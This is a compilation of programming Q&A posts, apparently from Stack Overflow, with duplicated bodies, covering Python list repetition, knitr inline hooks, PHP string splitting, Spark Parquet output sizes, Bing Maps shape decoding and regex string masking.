For cpython, the relevant part of the source code is in the function list_repeat in listobject.c. An enlightening snippet is repeated below, with my added comments:

np = (PyListObject *) PyList_New(size);  // make a new PyListObject

/* some code omitted */

items = np->ob_item;          // grabs the list of pointers of the *new* object
if (Py_SIZE(a) == 1) {        // this is the case for a 1-element list being multiplied
    elem = a->ob_item[0];     // grabs the pointer of the element of the *original* object
    for (i = 0; i < n; i++) {
        items[i] = elem;      // assigns the original pointer to the new list
        Py_INCREF(elem);
    }
    return (PyObject *) np;
}
```

Since a PyListObject is mainly a Vector containing a list of pointers to the list elements, it is simple to assign these points as elements to the new PyListObject.

On the contrary, imagine the code if the object located at each pointer needed to be copied. It would be more complex and there would be a noticable performance hit. However, I'm not going to speculate in regards to the motivation of this design decision.

ContentLicense: CC BY-SA 4.0

Body:
EDIT: This question is about why the behavior is what it is, not how to get around it, which is what the alleged duplicate is about.

I've used the following notation to create lists of a certain size in different cases. For example:

>>> [None] * 5
[None, None, None, None, None]
>>>

This appears to work as expected and is shorter than:

>>> [None for _ in range(5)]
[None, None, None, None, None]
>>>

I then tried to create an list of lists using the same approach:

>>> [[]] * 5
[[], [], [], [], []]
>>>

Fair enough. It seems to work as expected.

However, while going through the debugger, I noticed that all the sub-list buckets had the same value, even though I had added only a single item. For example:

>>> t = [[]] * 5
>>> t
[[], [], [], [], []]
>>> t[1].append(4)
>>> t
[[4], [4], [4], [4], [4]]
>>> t[0] is t[1]
True
>>>

I was not expecting all top-level array elements to be references to a single sub-list; I expected 5 independent sub-lists.

For that, I had to write code like so:

>>> t = [[] for _ in range(5)]
>>> t
[[], [], [], [], []]
>>> t[2].append(4)
>>> t
[[], [], [4], [], []]
>>> t[0] is t[1]
False
>>>

I'm clearly missing something, probably a historical fact or simply a different way in which the consistency here is viewed.

Can someone explain why two different code snippets that one would reasonably expect to be equivalent to each other actually end up implicitly producing different and non-obvious (IMO) results, especially given Python's zen of always being explicit and obvious?

Please note that I'm already aware of this question, which is different to what I'm asking.

I'm simply looking for a detailed explanation/justification. If there're historical, technical, and/or theoretical reasons for this behavior, then please be sure to include a reference or two.

Body:
For cpython, the relevant part of the source code is in the function list_repeat in listobject.c. An enlightening snippet is repeated below, with my added comments:

np = (PyListObject *) PyList_New(size);  // make a new PyListObject

/* some code omitted */

items = np->ob_item;          // grabs the list of pointers of the *new* object
if (Py_SIZE(a) == 1) {        // this is the case for a 1-element list being multiplied
    elem = a->ob_item[0];     // grabs the pointer of the element of the *original* object
    for (i = 0; i < n; i++) {
        items[i] = elem;      // assigns the original pointer to the new list
        Py_INCREF(elem);
    }
    return (PyObject *) np;
}

Since a PyListObject is mainly a Vector containing a list of pointers to the list elements, it is simple to assign these points as elements to the new PyListObject.

On the contrary, imagine the code if the object located at each pointer needed to be copied. It would be more complex and there would be a noticable performance hit. However, I'm not going to speculate in regards to the motivation of this design decision.


问:
rmarkdown inline code vs. code chunk
I'm working with an rmarkdown document in Rstudio, where I'm noticing some differences in the behavior of inline R code from R code in a code chunk. For instance, if I use the function lubridate::now() in a code chunk, I see that the time zone is appended to the output when I knit the Rmd document. However, when I use the same R code, i.e., lubridate::now(), as inline code and knit the document, I see that the time zone is not included in the output. Can you help me to understand this difference?

Thanks.

答:
Inline code passes through an additional layer --the "inline" hook.  From the knitr manual:

for each chunk, the code is evaluated using the evaluate package (Wickham, 2016), and the results
  may be filtered according to chunk options (e.g. echo=FALSE will remove the R source code) ...

for normal texts, knitr will find inline R code (e.g. in \Sexpr{}) and evaluate it; the output is wrapped by the inline hook;

The inline hook can be examined by:

```<code>> knitr::knit_hooks$get("inline")
function (x)
{
    if (is.numeric(x))
        x = round_digits(x)
    paste(as.character(x), collapse = ", ")
}
<environment: namespace:knitr>
</code>```

If your rmd file is:

```<code>inline date: `r lubridate::now()`

```{r, echo=F}
lubridate::now()
print(lubridate::now())
paste(as.character(lubridate::now()), collapse = ", ")
```
</code>```

The output is:

```<code>inline date: 2017-07-04 22:43:42

## [1] "2017-07-04 22:43:42 CDT"
## [1] "2017-07-04 22:43:42 CDT"
## [1] "2017-07-04 22:43:42"
</code>```

Notice the inline output matches the third line of output from the chunk.  This is my best guess anyway.

Title: rmarkdown inline code vs. code chunk

Body:
Inline code passes through an additional layer --the "inline" hook.  From the knitr manual:

for each chunk, the code is evaluated using the evaluate package (Wickham, 2016), and the results
  may be filtered according to chunk options (e.g. echo=FALSE will remove the R source code) ...

for normal texts, knitr will find inline R code (e.g. in \Sexpr{}) and evaluate it; the output is wrapped by the inline hook;

The inline hook can be examined by:

> knitr::knit_hooks$get("inline")
function (x)
{
    if (is.numeric(x))
        x = round_digits(x)
    paste(as.character(x), collapse = ", ")
}
<environment: namespace:knitr>

If your rmd file is:

inline date: `r lubridate::now()`

```{r, echo=F}
lubridate::now()
print(lubridate::now())
paste(as.character(lubridate::now()), collapse = ", ")
```

The output is:

inline date: 2017-07-04 22:43:42

## [1] "2017-07-04 22:43:42 CDT"
## [1] "2017-07-04 22:43:42 CDT"
## [1] "2017-07-04 22:43:42"

Notice the inline output matches the third line of output from the chunk.  This is my best guess anyway.


问:
Remove string start from certain character?
For example I have an array

```<code>$array[] = ['name - ic'];
</code>```

The result I want is

```<code>$new_Array[]=['name'];
</code>```

How do I remove the string that start from the - since the name and ic will be different for everyone? Anyone can help?

答:
Using explode method you can split string into array.

PHP

```<code><?php
    $array[] = ['name - ic'];
    $array[] = ['name - bc - de'];
    $new_Array = array();

    foreach($array as $key=>$values){
        foreach($values as $k=>$val){
            $str = explode("-",$val);
            $new_Array[$key][$k] = trim($str[0]);
        }
    }
?>
</code>```

OUTPUT

```<code>Array
(
    [0] => Array
        (
            [0] => name
        )

    [1] => Array
        (
            [0] => name
        )

)
</code>```

Body:
For example I have an array

$array[] = ['name - ic'];

The result I want is

$new_Array[]=['name'];

How do I remove the string that start from the - since the name and ic will be different for everyone? Anyone can help?

Body:
Using explode method you can split string into array.

PHP

<?php
    $array[] = ['name - ic'];
    $array[] = ['name - bc - de'];
    $new_Array = array();

    foreach($array as $key=>$values){
        foreach($values as $k=>$val){
            $str = explode("-",$val);
            $new_Array[$key][$k] = trim($str[0]);
        }
    }
?>

OUTPUT

Array
(
    [0] => Array
        (
            [0] => name
        )

    [1] => Array
        (
            [0] => name
        )

)


问:
How to use SparkSQL Convert ".txt" to ".parquet" in Spark 2.1.0?
Look, I used "spark-shell" command to test it.(https://spark.apache.org/docs/latest/sql-programming-guide.html)

```<code>
scala> case class IP(country: String) extends Serializable
17/07/05 11:20:09 INFO BlockManagerInfo: Removed broadcast_1_piece0 on 192.168.50.3:42868 in memory (size: 33.1 KB, free: 93.3 MB)
17/07/05 11:20:09 INFO BlockManagerInfo: Removed broadcast_1_piece0 on 192.168.50.3:40888 in memory (size: 33.1 KB, free: 93.3 MB)
17/07/05 11:20:09 INFO ContextCleaner: Cleaned accumulator 0
17/07/05 11:20:09 INFO ContextCleaner: Cleaned accumulator 1
defined class IP

scala> import spark.implicits._
import spark.implicits._

scala> import org.apache.spark.sql.SaveMode
import org.apache.spark.sql.SaveMode

scala> val df = spark.sparkContext.textFile("/test/guchao/ip.txt").map(x => x.split("\\|", -1)).map(x => IP(x(0))).toDF()
17/07/05 11:20:36 INFO MemoryStore: Block broadcast_2 stored as values in memory (estimated size 216.5 KB, free 92.9 MB)
17/07/05 11:20:36 INFO MemoryStore: Block broadcast_2_piece0 stored as bytes in memory (estimated size 20.8 KB, free 92.8 MB)
17/07/05 11:20:36 INFO BlockManagerInfo: Added broadcast_2_piece0 in memory on 192.168.50.3:42868 (size: 20.8 KB, free: 93.3 MB)
17/07/05 11:20:36 INFO SparkContext: Created broadcast 2 from textFile at :33
df: org.apache.spark.sql.DataFrame = [country: string]

scala> df.write.mode(SaveMode.Overwrite).save("/test/guchao/ip.parquet")
17/07/05 11:20:44 INFO ParquetFileFormat: Using default output committer for Parquet: org.apache.parquet.hadoop.ParquetOutputCommitter
17/07/05 11:20:44 INFO SQLHadoopMapReduceCommitProtocol: Using user defined output committer class org.apache.parquet.hadoop.ParquetOutputCommitter
17/07/05 11:20:44 INFO SQLHadoopMapReduceCommitProtocol: Using output committer class org.apache.parquet.hadoop.ParquetOutputCommitter
17/07/05 11:20:44 INFO CodeGenerator: Code generated in 88.405717 ms
17/07/05 11:20:44 INFO FileInputFormat: Total input paths to process : 1
17/07/05 11:20:44 INFO SparkContext: Starting job: save at :36
17/07/05 11:20:44 INFO DAGScheduler: Got job 1 (save at :36) with 2 output partitions
17/07/05 11:20:44 INFO DAGScheduler: Final stage: ResultStage 1 (save at :36)
17/07/05 11:20:44 INFO DAGScheduler: Parents of final stage: List()
17/07/05 11:20:44 INFO DAGScheduler: Missing parents: List()
17/07/05 11:20:44 INFO DAGScheduler: Submitting ResultStage 1 (MapPartitionsRDD[12] at save at :36), which has no missing parents
17/07/05 11:20:44 INFO MemoryStore: Block broadcast_3 stored as values in memory (estimated size 77.3 KB, free 92.8 MB)
17/07/05 11:20:44 INFO MemoryStore: Block broadcast_3_piece0 stored as bytes in memory (estimated size 29.3 KB, free 92.7 MB)
17/07/05 11:20:44 INFO BlockManagerInfo: Added broadcast_3_piece0 in memory on 192.168.50.3:42868 (size: 29.3 KB, free: 93.2 MB)
17/07/05 11:20:44 INFO SparkContext: Created broadcast 3 from broadcast at DAGScheduler.scala:996
17/07/05 11:20:44 INFO DAGScheduler: Submitting 2 missing tasks from ResultStage 1 (MapPartitionsRDD[12] at save at :36)
17/07/05 11:20:44 INFO TaskSchedulerImpl: Adding task set 1.0 with 2 tasks
17/07/05 11:20:44 INFO TaskSetManager: Starting task 0.0 in stage 1.0 (TID 2, 192.168.50.3, executor 0, partition 0, ANY, 6027 bytes)
17/07/05 11:20:44 INFO BlockManagerInfo: Added broadcast_3_piece0 in memory on 192.168.50.3:40888 (size: 29.3 KB, free: 93.3 MB)
17/07/05 11:20:45 INFO BlockManagerInfo: Added broadcast_2_piece0 in memory on 192.168.50.3:40888 (size: 20.8 KB, free: 93.2 MB)
17/07/05 11:20:45 INFO TaskSetManager: Starting task 1.0 in stage 1.0 (TID 3, 192.168.50.3, executor 0, partition 1, ANY, 6027 bytes)
17/07/05 11:20:45 INFO TaskSetManager: Finished task 0.0 in stage 1.0 (TID 2) in 679 ms on 192.168.50.3 (executor 0) (1/2)
17/07/05 11:20:46 INFO DAGScheduler: ResultStage 1 (save at :36) finished in 1.476 s
17/07/05 11:20:46 INFO DAGScheduler: Job 1 finished: save at :36, took 1.597097 s
17/07/05 11:20:46 INFO TaskSetManager: Finished task 1.0 in stage 1.0 (TID 3) in 804 ms on 192.168.50.3 (executor 0) (2/2)
17/07/05 11:20:46 INFO TaskSchedulerImpl: Removed TaskSet 1.0, whose tasks have all completed, from pool
17/07/05 11:20:46 INFO FileFormatWriter: Job null committed.
</code>```

but the result is:

[root@master ~]# hdfs dfs -ls -h /test/guchao
17/07/05 11:20:52 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable
Found 2 items
drwxr-xr-x   - root supergroup          0 2017-07-05 11:20 /test/guchao/ip.parquet
-rw-r--r--   1 root supergroup     23.9 M 2017-07-05 10:05 /test/guchao/ip.txt

Why does this size of "ip.parquet" is 0?  I don't understand and confuse.

Thanks!

答:
hdfs dfs -ls -h <path> shows the size of files and shows 0 for the directory.

```<code>df.write.mode(SaveMode.Overwrite).save("/test/guchao/ip.parquet")
</code>```

This creates the directory as /test/guchao/ip.parquet which has the part files inside this directory, thats why it shows 0 size

```<code>hadoop fs -ls /test/guchao/ip.parquet
</code>```

this should show you the actual size of output files

If you want to get size of directory than you can use

```<code>hadoop fs -du -s /test/guchao/ip.parquet
</code>```

Hope this helps!

Body:
Look, I used "spark-shell" command to test it.(https://spark.apache.org/docs/latest/sql-programming-guide.html)

scala> case class IP(country: String) extends Serializable
17/07/05 11:20:09 INFO BlockManagerInfo: Removed broadcast_1_piece0 on 192.168.50.3:42868 in memory (size: 33.1 KB, free: 93.3 MB)
17/07/05 11:20:09 INFO BlockManagerInfo: Removed broadcast_1_piece0 on 192.168.50.3:40888 in memory (size: 33.1 KB, free: 93.3 MB)
17/07/05 11:20:09 INFO ContextCleaner: Cleaned accumulator 0
17/07/05 11:20:09 INFO ContextCleaner: Cleaned accumulator 1
defined class IP

scala> import spark.implicits._
import spark.implicits._

scala> import org.apache.spark.sql.SaveMode
import org.apache.spark.sql.SaveMode

scala> val df = spark.sparkContext.textFile("/test/guchao/ip.txt").map(x => x.split("\\|", -1)).map(x => IP(x(0))).toDF()
17/07/05 11:20:36 INFO MemoryStore: Block broadcast_2 stored as values in memory (estimated size 216.5 KB, free 92.9 MB)
17/07/05 11:20:36 INFO MemoryStore: Block broadcast_2_piece0 stored as bytes in memory (estimated size 20.8 KB, free 92.8 MB)
17/07/05 11:20:36 INFO BlockManagerInfo: Added broadcast_2_piece0 in memory on 192.168.50.3:42868 (size: 20.8 KB, free: 93.3 MB)
17/07/05 11:20:36 INFO SparkContext: Created broadcast 2 from textFile at :33
df: org.apache.spark.sql.DataFrame = [country: string]

scala> df.write.mode(SaveMode.Overwrite).save("/test/guchao/ip.parquet")
17/07/05 11:20:44 INFO ParquetFileFormat: Using default output committer for Parquet: org.apache.parquet.hadoop.ParquetOutputCommitter
17/07/05 11:20:44 INFO SQLHadoopMapReduceCommitProtocol: Using user defined output committer class org.apache.parquet.hadoop.ParquetOutputCommitter
17/07/05 11:20:44 INFO SQLHadoopMapReduceCommitProtocol: Using output committer class org.apache.parquet.hadoop.ParquetOutputCommitter
17/07/05 11:20:44 INFO CodeGenerator: Code generated in 88.405717 ms
17/07/05 11:20:44 INFO FileInputFormat: Total input paths to process : 1
17/07/05 11:20:44 INFO SparkContext: Starting job: save at :36
17/07/05 11:20:44 INFO DAGScheduler: Got job 1 (save at :36) with 2 output partitions
17/07/05 11:20:44 INFO DAGScheduler: Final stage: ResultStage 1 (save at :36)
17/07/05 11:20:44 INFO DAGScheduler: Parents of final stage: List()
17/07/05 11:20:44 INFO DAGScheduler: Missing parents: List()
17/07/05 11:20:44 INFO DAGScheduler: Submitting ResultStage 1 (MapPartitionsRDD[12] at save at :36), which has no missing parents
17/07/05 11:20:44 INFO MemoryStore: Block broadcast_3 stored as values in memory (estimated size 77.3 KB, free 92.8 MB)
17/07/05 11:20:44 INFO MemoryStore: Block broadcast_3_piece0 stored as bytes in memory (estimated size 29.3 KB, free 92.7 MB)
17/07/05 11:20:44 INFO BlockManagerInfo: Added broadcast_3_piece0 in memory on 192.168.50.3:42868 (size: 29.3 KB, free: 93.2 MB)
17/07/05 11:20:44 INFO SparkContext: Created broadcast 3 from broadcast at DAGScheduler.scala:996
17/07/05 11:20:44 INFO DAGScheduler: Submitting 2 missing tasks from ResultStage 1 (MapPartitionsRDD[12] at save at :36)
17/07/05 11:20:44 INFO TaskSchedulerImpl: Adding task set 1.0 with 2 tasks
17/07/05 11:20:44 INFO TaskSetManager: Starting task 0.0 in stage 1.0 (TID 2, 192.168.50.3, executor 0, partition 0, ANY, 6027 bytes)
17/07/05 11:20:44 INFO BlockManagerInfo: Added broadcast_3_piece0 in memory on 192.168.50.3:40888 (size: 29.3 KB, free: 93.3 MB)
17/07/05 11:20:45 INFO BlockManagerInfo: Added broadcast_2_piece0 in memory on 192.168.50.3:40888 (size: 20.8 KB, free: 93.2 MB)
17/07/05 11:20:45 INFO TaskSetManager: Starting task 1.0 in stage 1.0 (TID 3, 192.168.50.3, executor 0, partition 1, ANY, 6027 bytes)
17/07/05 11:20:45 INFO TaskSetManager: Finished task 0.0 in stage 1.0 (TID 2) in 679 ms on 192.168.50.3 (executor 0) (1/2)
17/07/05 11:20:46 INFO DAGScheduler: ResultStage 1 (save at :36) finished in 1.476 s
17/07/05 11:20:46 INFO DAGScheduler: Job 1 finished: save at :36, took 1.597097 s
17/07/05 11:20:46 INFO TaskSetManager: Finished task 1.0 in stage 1.0 (TID 3) in 804 ms on 192.168.50.3 (executor 0) (2/2)
17/07/05 11:20:46 INFO TaskSchedulerImpl: Removed TaskSet 1.0, whose tasks have all completed, from pool
17/07/05 11:20:46 INFO FileFormatWriter: Job null committed.

but the result is:

[root@master ~]# hdfs dfs -ls -h /test/guchao
17/07/05 11:20:52 WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... using builtin-java classes where applicable
Found 2 items
drwxr-xr-x   - root supergroup          0 2017-07-05 11:20 /test/guchao/ip.parquet
-rw-r--r--   1 root supergroup     23.9 M 2017-07-05 10:05 /test/guchao/ip.txt

Why does this size of "ip.parquet" is 0?  I don't understand and confuse.

Thanks!

Body:
hdfs dfs -ls -h <path> shows the size of files and shows 0 for the directory.

df.write.mode(SaveMode.Overwrite).save("/test/guchao/ip.parquet")

This creates the directory as /test/guchao/ip.parquet which has the part files inside this directory, thats why it shows 0 size

hadoop fs -ls /test/guchao/ip.parquet

this should show you the actual size of output files

If you want to get size of directory than you can use

hadoop fs -du -s /test/guchao/ip.parquet

Hope this helps!


问:
Sandboxes and Wordpress, Joomla or Drupal Sites?
I'm looking into building database driven websites based on opensource platforms in a sandbox area rather than having them accessible via the final URL until clients have paid up.

Is anyone aware of any problems this may cause with paths or functionality, or, know of any good articles on the subject?

many thanks
Shaun

答: I would suggest having a cut-down, less privileged or demo account for signup users that can still enjoy the overall experience of your site without the full functionality of your killer-webapp services. "Restricting" them in a Sandbox area that is not even the actual site would not be as appealing and convincing as it could be for them to go from "freemium to premium" customers.</p>


问:
Decompress Bing Maps GeoData (borders) with Python
I have been trying to decompress the Bing Maps location/border shape algorithm using Python.  My end goal is to have custom regions/borders created from combining multiple counties and cities, and save the location data to our database for faster and more accurate location based analysis.

My strategy is as follows, but I'm a little stuck on #2, since I can't seem to accurately decompress the code:

Retrieve County/City borders from Bing Maps GeoData API - They refer to it as "shape"

Decompress their "shape" data to get the latitude and longitude of the border points

Remove the points that have the same lat/lng as other shapes (The goal is to make one large shape of multiple counties, as opposed to 5-6 separate shapes)

Compress the end result and save in the database

The function I am using seems to work for the example of 'vx1vilihnM6hR7mEl2Q' provided in the Point Compression Algorithm documentation.  However, when I insert something a little more complex, like Cook County, the formula seems to be off (tested by inserting several of the points into different polygon mapping/drawing applications that also use Bing Maps).  It basically creates a line at the south side of Chicago that vigorously goes East and West into Indiana, without much North-South movement.  Without knowing what the actual coordinates of any counties are supposed to be, I'm not sure how to figure out where I'm going wrong.

Any help is greatly appreciated, even if it is a suggestion of a different strategy.

Here is the python code (sorry for the overuse of the decimal format - my poor attempt to ensure the error wasn't a result of inadvertently losing precision):

```<code>safeCharacters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-'
</code>```

def decodeBingBorder(compressedData):
    latLng = []
    pointsArray = []
    point = []
    lastLat = Decimal(0)
    lastLng = Decimal(0)

```<code># Assigns the number of of each character based on the respective index of 'safeCharacters'
# numbers under 32 indicate it is the last number of the combination of the point, and a new point is begun
for char in compressedData:
    num = Decimal(safeCharacters.index(char))
    if num < 32:
        point.append(num)
        pointsArray.append(point)
        point = []
    else:
        num -= Decimal(32)
        point.append(num)

# Loops through each point to determine the lat/lng of each point
for pnt in pointsArray:
    result = Decimal(0)

    # This revereses step 7 of the Point Compression Algorithm https://msdn.microsoft.com/en-us/library/jj158958.aspx
    for num in reversed(pnt):
        if result == 0:
            result = num
        else:
            result = result * Decimal(32) + num

    # This was pretty much taken from the Decompression Algorithm (not in Python format) at https://msdn.microsoft.com/en-us/library/dn306801.aspx
    # Determine which diaganal it's on
    diag = Decimal(int(round((math.sqrt(8 * result + 5) - 1) / 2)))

    # submtract the total number of points from lower diagonals, and get the X and Y from what's left over
    latY = Decimal(result - Decimal(diag * (diag + 1) / 2))
    lngX = Decimal(diag - latY)

    # undo the sign encoding
    if latY % 2 == 1:
        latY = (latY + Decimal(1)) * Decimal(-1)
    if lngX % 2 == 1:
        lngX = (lngX + Decimal(1)) * Decimal(-1)
    latY /= 2
    lngX /= 2

    # undo the delta encoding
    lat = latY + lastLat
    lng = lngX + lastLng
    lastLat = lat
    lastLng = lng

    # position the decimal point
    lat /= Decimal(100000)
    lng /= Decimal(100000)

    # append the point to the latLng list in a string format, as opposed to the decimal format
    latLng.append([str(lat), str(lng)])

return latLng
</code>```

The compressed algorithm:

1440iqu9vJ957r8pB_825syB6rh_gXh1-ntqB56sk2B2nq07Mwvq5f64r0m0Fni11ooE4kkvxEy4wzMuotr_DvsiqvFozvt-Lw9znxH-r5oxLv9yxCwhh7wKnk4sB8o0Rvv56D8snW5n1jBg50K4kplClkpqBpgl9F4h4X_sjMs85Ls6qQi6qvqBr188mBqk-pqIxxsx5EpsjosI-8hgIoygDigU94l_4C

This is the result:

[['41.46986', '-87.79031'], ['41.47033', '-87.52569'], ['41.469145',
  '-87.23372'], ['41.469395', '-87.03741'], ['41.41014', '-86.7114'],
  ['41.397545', '-86.64553'], ['41.3691', '-86.47018'], ['41.359585',
  '-86.41984'], ['41.353585', '-86.9637'], ['41.355725', '-87.43971'],
  ['41.35561', '-87.52716'], ['41.3555', '-87.55277'], ['41.354625',
  '-87.63504'], ['41.355635', '-87.54018'], ['41.360745', '-87.40351'],
  ['41.362315', '-87.29262'], ['41.36214', '-87.43194'], ['41.360915',
  '-87.44473'], ['41.35598', '-87.58256'], ['41.3551', '-87.59025'],
  ['41.35245', '-87.59828'], ['41.34782', '-87.60784'], ['41.34506',
  '-87.61664'], ['41.34267', '-87.6219'], ['41.34232', '-87.62643'],
  ['41.33809', '-87.63286'], ['41.33646', '-87.63956'], ['41.32985',
  '-87.65056'], ['41.33069', '-87.65596'], ['41.32965', '-87.65938'],
  ['41.33063', '-87.6628'], ['41.32924', '-87.66659'], ['41.32851',
  '-87.71306'], ['41.327105', '-87.75963'], ['41.329515', '-87.64388'],
  ['41.32698', '-87.73614'], ['41.32876', '-87.61933'], ['41.328275',
  '-87.6403'], ['41.328765', '-87.63857'], ['41.32866', '-87.63969'],
  ['41.32862', '-87.70802']]

答:
You can also do

```<code>diag=int(round((sqrt(8 * number + 1)/ 2)-1/2.))
</code>```

Don't forget to subtract longitude*2 from latitude to get N/E coordinates!

Body:
I have been trying to decompress the Bing Maps location/border shape algorithm using Python.  My end goal is to have custom regions/borders created from combining multiple counties and cities, and save the location data to our database for faster and more accurate location based analysis.

My strategy is as follows, but I'm a little stuck on #2, since I can't seem to accurately decompress the code:

Retrieve County/City borders from Bing Maps GeoData API - They refer to it as "shape"

Decompress their "shape" data to get the latitude and longitude of the border points

Remove the points that have the same lat/lng as other shapes (The goal is to make one large shape of multiple counties, as opposed to 5-6 separate shapes)

Compress the end result and save in the database

The function I am using seems to work for the example of 'vx1vilihnM6hR7mEl2Q' provided in the Point Compression Algorithm documentation.  However, when I insert something a little more complex, like Cook County, the formula seems to be off (tested by inserting several of the points into different polygon mapping/drawing applications that also use Bing Maps).  It basically creates a line at the south side of Chicago that vigorously goes East and West into Indiana, without much North-South movement.  Without knowing what the actual coordinates of any counties are supposed to be, I'm not sure how to figure out where I'm going wrong.

Any help is greatly appreciated, even if it is a suggestion of a different strategy.

Here is the python code (sorry for the overuse of the decimal format - my poor attempt to ensure the error wasn't a result of inadvertently losing precision):

safeCharacters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-'

def decodeBingBorder(compressedData):
    latLng = []
    pointsArray = []
    point = []
    lastLat = Decimal(0)
    lastLng = Decimal(0)

# Assigns the number of of each character based on the respective index of 'safeCharacters'
# numbers under 32 indicate it is the last number of the combination of the point, and a new point is begun
for char in compressedData:
    num = Decimal(safeCharacters.index(char))
    if num < 32:
        point.append(num)
        pointsArray.append(point)
        point = []
    else:
        num -= Decimal(32)
        point.append(num)

# Loops through each point to determine the lat/lng of each point
for pnt in pointsArray:
    result = Decimal(0)

    # This revereses step 7 of the Point Compression Algorithm https://msdn.microsoft.com/en-us/library/jj158958.aspx
    for num in reversed(pnt):
        if result == 0:
            result = num
        else:
            result = result * Decimal(32) + num

    # This was pretty much taken from the Decompression Algorithm (not in Python format) at https://msdn.microsoft.com/en-us/library/dn306801.aspx
    # Determine which diaganal it's on
    diag = Decimal(int(round((math.sqrt(8 * result + 5) - 1) / 2)))

    # submtract the total number of points from lower diagonals, and get the X and Y from what's left over
    latY = Decimal(result - Decimal(diag * (diag + 1) / 2))
    lngX = Decimal(diag - latY)

    # undo the sign encoding
    if latY % 2 == 1:
        latY = (latY + Decimal(1)) * Decimal(-1)
    if lngX % 2 == 1:
        lngX = (lngX + Decimal(1)) * Decimal(-1)
    latY /= 2
    lngX /= 2

    # undo the delta encoding
    lat = latY + lastLat
    lng = lngX + lastLng
    lastLat = lat
    lastLng = lng

    # position the decimal point
    lat /= Decimal(100000)
    lng /= Decimal(100000)

    # append the point to the latLng list in a string format, as opposed to the decimal format
    latLng.append([str(lat), str(lng)])

return latLng

The compressed algorithm:

1440iqu9vJ957r8pB_825syB6rh_gXh1-ntqB56sk2B2nq07Mwvq5f64r0m0Fni11ooE4kkvxEy4wzMuotr_DvsiqvFozvt-Lw9znxH-r5oxLv9yxCwhh7wKnk4sB8o0Rvv56D8snW5n1jBg50K4kplClkpqBpgl9F4h4X_sjMs85Ls6qQi6qvqBr188mBqk-pqIxxsx5EpsjosI-8hgIoygDigU94l_4C

This is the result:

[['41.46986', '-87.79031'], ['41.47033', '-87.52569'], ['41.469145',
  '-87.23372'], ['41.469395', '-87.03741'], ['41.41014', '-86.7114'],
  ['41.397545', '-86.64553'], ['41.3691', '-86.47018'], ['41.359585',
  '-86.41984'], ['41.353585', '-86.9637'], ['41.355725', '-87.43971'],
  ['41.35561', '-87.52716'], ['41.3555', '-87.55277'], ['41.354625',
  '-87.63504'], ['41.355635', '-87.54018'], ['41.360745', '-87.40351'],
  ['41.362315', '-87.29262'], ['41.36214', '-87.43194'], ['41.360915',
  '-87.44473'], ['41.35598', '-87.58256'], ['41.3551', '-87.59025'],
  ['41.35245', '-87.59828'], ['41.34782', '-87.60784'], ['41.34506',
  '-87.61664'], ['41.34267', '-87.6219'], ['41.34232', '-87.62643'],
  ['41.33809', '-87.63286'], ['41.33646', '-87.63956'], ['41.32985',
  '-87.65056'], ['41.33069', '-87.65596'], ['41.32965', '-87.65938'],
  ['41.33063', '-87.6628'], ['41.32924', '-87.66659'], ['41.32851',
  '-87.71306'], ['41.327105', '-87.75963'], ['41.329515', '-87.64388'],
  ['41.32698', '-87.73614'], ['41.32876', '-87.61933'], ['41.328275',
  '-87.6403'], ['41.328765', '-87.63857'], ['41.32866', '-87.63969'],
  ['41.32862', '-87.70802']]

Body:
You can also do

diag=int(round((sqrt(8 * number + 1)/ 2)-1/2.))

Don't forget to subtract longitude*2 from latitude to get N/E coordinates!


问:
Creating a regex to replace each matched character of a string with same character
In my application, I have an alphanumeric string being passed into my function. This string is typically 17 characters, but not always. I'm trying to write a regex that matches all but the last 4 characters in the string, and replaces them with X (to mask it).

For example

```<code>Input: HGHG8686HGHG8686H

Output: XXXXXXXXXXXXX686H
</code>```

The Regex I wrote to perform the replace on the string is as follows

```<code>[a-zA-Z0-9].{12}
</code>```

Code:

```<code>const maskedString = string.replace(/[a-zA-Z0-9].{12}/g, 'X');
</code>```

The issue I'm having is that it's replacing all but the last 4 characters in the string with just that single X. It doesn't know to do that for every matched character. Any ideas?

答:
Look ahead (?=) to make sure there are at least four following characters.

const regex = /.(?=....)/g;
//             ^             MATCH ANYTHING
//              ^^^^^^^^     THAT IS FOLLOWED BY FOUR CHARS

function fix(str) { return str.replace(regex, 'X'); }

const test = "HGHG8686HGHG8686H";

// CODE BELOW IS MERELY FOR DEMO PURPOSES
const input = document.getElementById("input");
const output = document.getElementById("output");
function populate() { output.textContent = fix(input.value); }
input.addEventListener("input", populate);
input.value = test;
populate();```
<pre class="snippet-code-html lang-html prettyprint-override"><code><p><label>Input: </label><input id="input"></p>
<p>Output: <span id="output"></span></p></code>```

A non-regexp solution:

const test = "HGHG8686HGHG8686H";

function fix(str) {
  return 'X'.repeat(str.length - 4) + str.slice(-4);
}

console.log(fix(test));```

You will not find String#repeat in IE.

Body:
In my application, I have an alphanumeric string being passed into my function. This string is typically 17 characters, but not always. I'm trying to write a regex that matches all but the last 4 characters in the string, and replaces them with X (to mask it).

For example

Input: HGHG8686HGHG8686H

Output: XXXXXXXXXXXXX686H

The Regex I wrote to perform the replace on the string is as follows

[a-zA-Z0-9].{12}

Code:

const maskedString = string.replace(/[a-zA-Z0-9].{12}/g, 'X');

The issue I'm having is that it's replacing all but the last 4 characters in the string with just that single X. It doesn't know to do that for every matched character. Any ideas?

Body:
Look ahead (?=) to make sure there are at least four following characters.

const regex = /.(?=....)/g;
//             ^             MATCH ANYTHING
//              ^^^^^^^^     THAT IS FOLLOWED BY FOUR CHARS

function fix(str) { return str.replace(regex, 'X'); }

const test = "HGHG8686HGHG8686H";

// CODE BELOW IS MERELY FOR DEMO PURPOSES
const input = document.getElementById("input");
const output = document.getElementById("output");
function populate() { output.textContent = fix(input.value); }
input.addEventListener("input", populate);
input.value = test;
populate();

<p><label>Input: </label><input id="input"></p>
<p>Output: <span id="output"></span></p>

A non-regexp solution:

const test = "HGHG8686HGHG8686H";

function fix(str) {
  return 'X'.repeat(str.length - 4) + str.slice(-4);
}

console.log(fix(test));

You will not find String#repeat in IE.


问:
How do I pass an image view and its properties from one view controller to another?
So I have an image view in one viewcontroller.swift file that generates a random background image every time the a question is asked (it's a quiz app). When the user get's the answer right I want the random background image produced from the first view controller when the question is asked to be the same background image for the next view controller that displays when the answer is answered correctly. How do I make sure the both background image views displays the same random image every time a question is correctly answered? Here is a snippet of my code that deals with the background image.

```<code>class ViewController : UIViewController

